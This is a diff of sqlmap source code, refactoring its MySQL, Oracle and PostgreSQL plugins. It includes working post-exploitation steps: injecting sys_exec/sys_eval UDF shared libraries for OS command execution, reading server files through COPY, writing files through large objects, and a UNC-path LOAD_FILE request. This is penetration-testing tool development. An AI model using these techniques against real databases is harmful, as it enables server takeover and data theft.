# The SO can be in either /lib, /usr/lib or one of the
|
|
||||||
# paths specified in /etc/ld.so.conf file, none of these
|
|
||||||
# paths are writable by mysql user by default
|
|
||||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
|
||||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
|
||||||
|
|
||||||
self.writeFile(wFile, dFile, "binary", False)
|
|
||||||
|
|
||||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
|
||||||
if udf in self.createdUdf:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if udf in self.udfToCreate:
|
|
||||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
||||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
||||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
|
||||||
else:
|
|
||||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
|
||||||
|
|
||||||
self.createdUdf.add(udf)
|
self.createdUdf.add(udf)
|
||||||
|
else:
|
||||||
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
def udfInjectCmd(self):
|
||||||
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||||
|
self.udfSharedLibExt = "dll"
|
||||||
|
else:
|
||||||
|
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||||
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
|
self.udfInjectCore(self.sysUdfs)
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
debugMsg = "creating a support table to write commands standard "
|
|
||||||
debugMsg += "output to"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
|
||||||
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
@@ -34,6 +32,7 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||||
@@ -47,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
|
|||||||
from plugins.generic.misc import Miscellaneous
|
from plugins.generic.misc import Miscellaneous
|
||||||
from plugins.generic.takeover import Takeover
|
from plugins.generic.takeover import Takeover
|
||||||
|
|
||||||
|
|
||||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
"""
|
"""
|
||||||
This class defines Oracle methods
|
This class defines Oracle methods
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
||||||
|
|
||||||
@@ -63,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
unescaper.setUnescape(OracleMap.unescape)
|
unescaper.setUnescape(OracleMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
@@ -95,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
@@ -120,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
@@ -156,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if conf.dbms in ORACLE_ALIASES:
|
if conf.dbms in ORACLE_ALIASES:
|
||||||
setDbms("Oracle")
|
setDbms("Oracle")
|
||||||
@@ -172,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
logMsg = "confirming Oracle"
|
logMsg = "confirming Oracle"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not Oracle"
|
warnMsg = "the back-end DMBS is not Oracle"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -211,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
if conf.db:
|
if conf.db:
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
@@ -227,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
conf.tbl = conf.tbl.upper()
|
conf.tbl = conf.tbl.upper()
|
||||||
|
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
warnMsg = "on Oracle it is not possible to enumerate databases"
|
warnMsg = "on Oracle it is not possible to enumerate databases"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
errMsg = "File system read access not yet implemented for "
|
errMsg = "File system read access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
errMsg = "File system write access not yet implemented for "
|
errMsg = "File system write access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
errMsg = "Operating system command execution functionality not "
|
errMsg = "Operating system command execution functionality not "
|
||||||
errMsg += "yet implemented for Oracle"
|
errMsg += "yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
errMsg = "Operating system shell functionality not yet "
|
errMsg = "Operating system shell functionality not yet "
|
||||||
errMsg += "implemented for Oracle"
|
errMsg += "implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "Operating system out-of-band control functionality "
|
errMsg = "Operating system out-of-band control functionality "
|
||||||
errMsg += "not yet implemented for Oracle"
|
errMsg += "not yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "One click operating system out-of-band control "
|
errMsg = "One click operating system out-of-band control "
|
||||||
errMsg += "functionality not yet implemented for Oracle"
|
errMsg += "functionality not yet implemented for Oracle"
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
@@ -34,7 +32,6 @@ from lib.core.common import getHtmlErrorFp
|
|||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -48,7 +45,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -64,6 +60,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||||
|
self.sysUdfs = {
|
||||||
|
# UDF name: UDF parameters' input data-type and return data-type
|
||||||
|
"sys_exec": {
|
||||||
|
"input": [ "text" ],
|
||||||
|
"return": "int4"
|
||||||
|
},
|
||||||
|
"sys_eval": {
|
||||||
|
"input": [ "text" ],
|
||||||
|
"return": "text"
|
||||||
|
},
|
||||||
|
"sys_bineval": {
|
||||||
|
"input": [ "text" ],
|
||||||
|
"return": "int4"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Enumeration.__init__(self, "PostgreSQL")
|
Enumeration.__init__(self, "PostgreSQL")
|
||||||
Filesystem.__init__(self)
|
Filesystem.__init__(self)
|
||||||
@@ -71,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
unescaper.setUnescape(PostgreSQLMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
@@ -103,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
@@ -128,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
@@ -164,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
"""
|
"""
|
||||||
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
|
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
|
||||||
@@ -186,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming PostgreSQL"
|
infoMsg = "confirming PostgreSQL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -245,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os:
|
if kb.os:
|
||||||
return
|
return
|
||||||
@@ -253,15 +259,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||||
|
|
||||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||||
# patterns within the banner
|
# patterns within the banner
|
||||||
osWindows = ( " Visual C++", " mingw" )
|
osWindows = ( " Visual C++", "mingw" )
|
||||||
|
|
||||||
for osPattern in osWindows:
|
for osPattern in osWindows:
|
||||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||||
query += "LIKE '%" + osPattern + "%')>0"
|
query += "LIKE '%" + osPattern + "%')>0"
|
||||||
query = agent.forgeCaseStatement(query)
|
query = agent.forgeCaseStatement(query)
|
||||||
|
|
||||||
@@ -270,20 +276,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if kb.os == None:
|
if kb.os is None:
|
||||||
kb.os = "Linux"
|
kb.os = "Linux"
|
||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if detailed == False:
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||||
conf.db = "public"
|
conf.db = "public"
|
||||||
@@ -294,16 +294,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
warnMsg += "database name"
|
warnMsg += "database name"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
# TODO: write a UDF to retrieve the hexadecimal encoded content of
|
|
||||||
# the requested file
|
|
||||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||||
warnMsg += "if the requested file is binary, its content will not "
|
warnMsg += "if the requested file is binary, its content will not "
|
||||||
warnMsg += "be retrieved"
|
warnMsg += "be retrieved"
|
||||||
@@ -314,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
result = []
|
result = []
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
|
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
|
||||||
|
|
||||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
|
||||||
|
|
||||||
if kb.unionPosition:
|
if kb.unionPosition:
|
||||||
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
|
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
|
||||||
@@ -339,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
wFileSize = os.path.getsize(wFile)
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
|
||||||
@@ -358,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
debugMsg = "creating a support table to write the base64 "
|
debugMsg = "creating a support table to write the base64 "
|
||||||
debugMsg += "encoded file to"
|
debugMsg += "encoded file to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
||||||
logger.debug("encoding file to its base64 string value")
|
logger.debug("encoding file to its base64 string value")
|
||||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the base64 "
|
debugMsg = "forging SQL statements to write the base64 "
|
||||||
@@ -372,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||||
|
|
||||||
logger.debug("inserting the base64 encoded file to the support table")
|
logger.debug("inserting the base64 encoded file to the support table")
|
||||||
|
|
||||||
for sqlQuery in sqlQueries:
|
for sqlQuery in sqlQueries:
|
||||||
inject.goStacked(sqlQuery)
|
inject.goStacked(sqlQuery)
|
||||||
|
|
||||||
@@ -382,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
# References:
|
# References:
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||||
|
|
||||||
debugMsg = "updating the system large objects table assigning to "
|
debugMsg = "updating the system large objects table assigning to "
|
||||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
||||||
@@ -403,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
#
|
#
|
||||||
# As a matter of facts it was possible to store correctly a file
|
# As a matter of facts it was possible to store correctly a file
|
||||||
# large 13776 bytes, the problem arises at next step (lo_export())
|
# large 13776 bytes, the problem arises at next step (lo_export())
|
||||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
||||||
|
|
||||||
debugMsg = "exporting the OID %s file content to " % fileType
|
debugMsg = "exporting the OID %s file content to " % fileType
|
||||||
debugMsg += "file '%s'" % dFile
|
debugMsg += "file '%s'" % dFile
|
||||||
@@ -411,21 +405,51 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||||
# (pg_largeobject 'data' field)
|
# (pg_largeobject 'data' field)
|
||||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
|
|
||||||
|
def udfSetRemotePath(self):
|
||||||
|
# On Windows
|
||||||
|
if kb.os == "Windows":
|
||||||
|
# The DLL can be in any folder where postgres user has
|
||||||
|
# read/write/execute access is valid
|
||||||
|
# NOTE: by not specifing any path, it will save into the
|
||||||
|
# data directory, on PostgreSQL 8.3 it is
|
||||||
|
# C:\Program Files\PostgreSQL\8.3\data.
|
||||||
|
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
# On Linux
|
||||||
|
else:
|
||||||
|
# The SO can be in any folder where postgres user has
|
||||||
|
# read/write/execute access is valid
|
||||||
|
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
|
if udf in self.udfToCreate:
|
||||||
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
|
||||||
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
|
ret = inpRet["return"]
|
||||||
|
|
||||||
|
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||||
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||||
|
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||||
|
|
||||||
|
self.createdUdf.add(udf)
|
||||||
|
else:
|
||||||
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
def udfInjectCmd(self):
|
||||||
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
def udfInit(self):
|
|
||||||
self.getVersionFromBanner()
|
self.getVersionFromBanner()
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
dFile = None
|
|
||||||
wFile = paths.SQLMAP_UDF_PATH
|
|
||||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
|
||||||
|
|
||||||
if banVer >= "8.3":
|
if banVer >= "8.3":
|
||||||
majorVer = "8.3"
|
majorVer = "8.3"
|
||||||
@@ -433,74 +457,16 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
majorVer = "8.2"
|
majorVer = "8.2"
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||||
libExt = "dll"
|
self.udfSharedLibExt = "dll"
|
||||||
else:
|
else:
|
||||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||||
libExt = "so"
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
for udf in ( "sys_exec", "sys_eval" ):
|
|
||||||
if udf in self.createdUdf:
|
|
||||||
continue
|
|
||||||
|
|
||||||
logger.info("checking if %s UDF already exist" % udf)
|
|
||||||
|
|
||||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
|
||||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
|
||||||
|
|
||||||
if exists == "1":
|
|
||||||
message = "%s UDF already exists, do you " % udf
|
|
||||||
message += "want to overwrite it? [y/N] "
|
|
||||||
output = readInput(message, default="N")
|
|
||||||
|
|
||||||
if output and output in ("y", "Y"):
|
|
||||||
self.udfToCreate.add(udf)
|
|
||||||
else:
|
|
||||||
self.udfToCreate.add(udf)
|
|
||||||
|
